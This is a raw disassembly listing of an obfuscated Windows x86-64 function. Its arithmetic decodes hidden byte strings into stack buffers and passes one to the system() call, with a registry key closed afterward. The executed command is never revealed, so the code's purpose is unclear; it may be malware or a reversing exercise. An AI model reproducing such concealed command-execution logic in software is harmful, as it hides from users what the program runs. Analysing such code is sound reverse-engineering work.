dec rdi
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
add r10b, 0x55
inc rdi
jmp 0x1400dce73
lea ecx, [r11 + 0x21]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x19
jmp 0x1400dd76a
lea ecx, [r11 + 5]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x23
add r11b, 0x51
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
sub r11b, 0x37
add r11b, bl
mov byte [rbp + rdi + 0x190], r11b
inc r9
dec rdi
inc rdi
jmp 0x1400dce73
lea ecx, [r11 - 0x25]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 3
add r11b, 0x5f
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
add r11b, 0x67
add r11b, r10b
add r11b, bl
mov byte [rbp + rdi + 0x190], r11b
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400dce73
sub r11b, 0x5d
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x75
lea edx, [rdi - 0xc]
inc r8
movzx eax, dl
mov ecx, Ordinal_45
and al, bl
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x190], cl
add rdi, rax
movzx eax, byte [rbp + rdi + 0x190]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dce73
sub r11b, 0x6b
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x13
movzx eax, byte [rbp + rdi + 0x190]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dce73
add r11b, 0x23
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
add r10b, 0xb
jmp 0x1400dce70
add r11b, 0x15
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
add r10b, 0x6d
jmp 0x1400dce60
lea rcx, [rbp + 0x1585444]
jmp 0x1400dd8bf
lea rcx, [rbp + 0xed4ecb]
jmp 0x1400dd8bf
lea rcx, [rbp + 0x190]
call fcn.140048e00
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
movzx edx, byte [rbp + 0x250]
xor eax, eax
xorps xmm0, xmm0
mov word [rbp + 0x11], ax
movups xmmword [rbp + 1], xmm0
mov byte [rbp + 0x13], al
mov dword [rbp - 0x10], 0xa7a7b1ab
mov dword [rbp - 0xc], 0x51595248
mov dword [rbp - 8], 0x3501600
mov dword [rbp - 4], 0x1f0e511b
mov byte [rbp], 0xe8
nop dword [rax + rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
mov rbx, r14
cmp rbx, 0x24
jae 0x1400de35d
movzx r10d, byte [rbp + rbx - 0x10]
movzx r11d, bl
cmp r8, rbx
ja 0x1400de354
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400dd963
lea ecx, [r11 - 4]
mov edx, reloc.WS2_32.dll_ntohl
movzx eax, cl
and al, r10b
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
jmp 0x1400dd983
je 0x1400de2e1
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400de28e
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400de24a
cmp r9, rbx
ja 0x1400de34b
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x1400dd9b2
lea edx, [r11 - 0x54]
mov ecx, Ordinal_41
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400dd9e0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400de233
inc rax
cmp r8, rax
je 0x1400de211
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400de1f1
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400ddf1a
nop dword [rax]
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400ddefd
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400dded4
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400ddeae
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400ddf98
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400dde92
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400dde72
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400dde55
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400dde37
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400dde0d
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400dd9f0
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400de32b
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400de30f
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400ddbdb
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400ddbc1
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400ddba4
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400dddc3
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400ddd7c
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400ddd41
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400ddd1a
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400dd9f0
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400ddcf0
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400ddcd2
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400ddcb5
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400ddc95
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400ddc79
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400ddc5d
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400ddc3b
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400ddc12
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400ddbf5
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400dd9f0
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x2a]
jmp 0x1400dd9f0
lea edx, [r11 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400dd9e0
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 4
jmp 0x1400dd983
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x3c
jmp 0x1400dd937
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400de262
add r11b, 0x68
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, r10b
inc r9
and al, r11b
dec rbx
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400dd923
add r11b, 0x70
movzx eax, r10b
and al, r11b
dec rbx
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x10
inc rbx
jmp 0x1400dd923
lea edx, [r11 + 0x78]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x48
sub cl, al
add dl, cl
jmp 0x1400de2a6
add r11b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
jmp 0x1400de2c6
sub r11b, 0x78
mov ecx, 0x24
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400de2c9
lea edx, [r11 - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400de18f
sub r11b, 0x68
movzx eax, r10b
and al, r11b
movzx edx, r10b
add al, al
sub dl, al
sub dl, 0x28
add dl, r11b
jmp 0x1400de1b7
sub r11b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
lea edx, [r11 + r10]
sub dl, 0x60
inc rbx
jmp 0x1400dd923
sub r11b, 0x4c
mov ecx, 0xa
movzx eax, r11b
and al, r10b
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
mov byte [rbp + rbx - 0x10], dl
inc rbx
jmp 0x1400dd923
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x24
cmp r9, 1
jb 0x1400ddd35
lea edx, [r11 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, r10b
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400de262
lea edx, [r11 - 0x3c]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x5c
add dl, cl
cmp r8, 0x5a
jae 0x1400de162
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400de0d8
lea edx, [r11 - 0x48]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 8
sub cl, al
add dl, cl
jmp 0x1400ddd56
lea edx, [r11 - 0x34]
mov ecx, gethostname
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
lea rax, [r8 + r9]
cmp rax, 0x7a
je 0x1400de17e
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400ddfe3
lea edx, [r11 + 0xc]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x54
jmp 0x1400ddd91
add r11b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
lea edx, [r11 + r10]
sub dl, 0x38
inc rbx
jmp 0x1400dd923
add r11b, 0x10
movzx eax, r10b
and al, r11b
movzx edx, r10b
add al, al
sub dl, al
sub dl, 0x70
add dl, r11b
jmp 0x1400de1b7
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400de18f
add r11b, 0x20
mov ecx, reloc.WS2_32.dll_recv
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400de2c9
add r11b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x18
jmp 0x1400de2c6
add r11b, 0x38
mov ecx, reloc.WLDAP32.dll_Ordinal_60
movzx eax, r10b
dec rbx
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400dd923
add r11b, 0x40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
movzx eax, r10b
inc r9
and al, r11b
dec rbx
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400dd923
lea edx, [r11 + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400de262
lea rax, [r9 + 9]
cmp r8, rax
jae 0x1400ddf37
lea edx, [r11 - 4]
mov ecx, reloc.WS2_32.dll_ntohl
movzx eax, dl
and al, r10b
jmp 0x1400dddd2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ddf6a
add r11b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
lea edx, [r11 + r10]
sub dl, 0x68
inc rbx
jmp 0x1400dd923
inc rax
cmp r8, rax
jne 0x1400ddf8f
lea edx, [r11 + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400de18f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ddfb4
lea edx, [r11 + 0x30]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x50
sub cl, al
add dl, cl
jmp 0x1400de2a6
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400ddddb
add r11b, 0x28
movzx eax, r10b
and al, r11b
dec rbx
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x18
inc rbx
jmp 0x1400dd923
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400de008
lea edx, [r11 + 4]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x1c
sub cl, al
add dl, cl
jmp 0x1400de262
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400de02d
sub r11b, 0x1c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x3c
jmp 0x1400de2c6
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400de052
sub r11b, 0x24
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 4
jmp 0x1400de2c9
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400de078
lea edx, [r11 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400de18f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400de0a1
sub r11b, 0x34
mov ecx, gethostname
movzx eax, r11b
and al, r10b
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400de1b7
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400ddd93
sub r11b, 0x3c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
lea edx, [r11 + r10]
sub dl, 0x5c
inc rbx
jmp 0x1400dd923
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400de10f
sub r11b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400dd923
inc rax
cmp r8, rax
jne 0x1400de133
sub r11b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x28
jmp 0x1400de2c9
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400ddd56
add r11b, 0x80
movzx eax, r10b
and al, r11b
dec rbx
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
inc rbx
jmp 0x1400dd923
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x30
add cl, cl
add dl, cl
jmp 0x1400de2a6
lea ecx, [r11 + 0x58]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rcx - 0x68]
add r11b, 0x54
inc r9
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x4c
add r11b, r10b
movzx eax, r11b
mov byte [rbp + rbx - 0x10], al
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x50]
inc r8
movzx eax, cl
and al, r10b
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub cl, 0x30
add cl, r10b
mov byte [rbp + rbx - 0x10], cl
add rbx, rax
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400dd923
sub r11b, 0x7c
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx eax, r11b
and al, r10b
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400de2c6
sub r11b, 0x6c
dec rbx
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0xc
inc rbx
jmp 0x1400dd923
lea ecx, [r11 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x7c
jmp 0x1400de262
lea edx, [r11 - 0x4c]
mov ecx, 0xa
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
add r11b, 0x64
mov ecx, Ordinal_35
movzx eax, r11b
and al, r10b
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
mov byte [rbp + rbx - 0x10], cl
inc r9
dec rbx
inc rbx
jmp 0x1400dd923
lea edx, [r11 - 0x34]
mov ecx, gethostname
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
add r11b, 0x5c
mov ecx, 0x3e
movzx eax, r11b
and al, r10b
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
add cl, dl
mov byte [rbp + rbx - 0x10], cl
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400dd923
sub r11b, 0xc
mov ecx, Ordinal_45
movzx eax, r11b
and al, r10b
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400dd923
sub r11b, 0x14
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x74
jmp 0x1400dd920
sub r11b, 0xc
mov ecx, Ordinal_45
movzx eax, r11b
and al, r10b
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400dd910
lea rcx, [rbp + 0x15c8d40]
jmp 0x1400de361
lea rcx, [rbp + 0xfbf93c]
jmp 0x1400de361
lea rcx, [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp + 0x260]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x328
pop r14
pop rdi
pop rbx
pop rbp
ret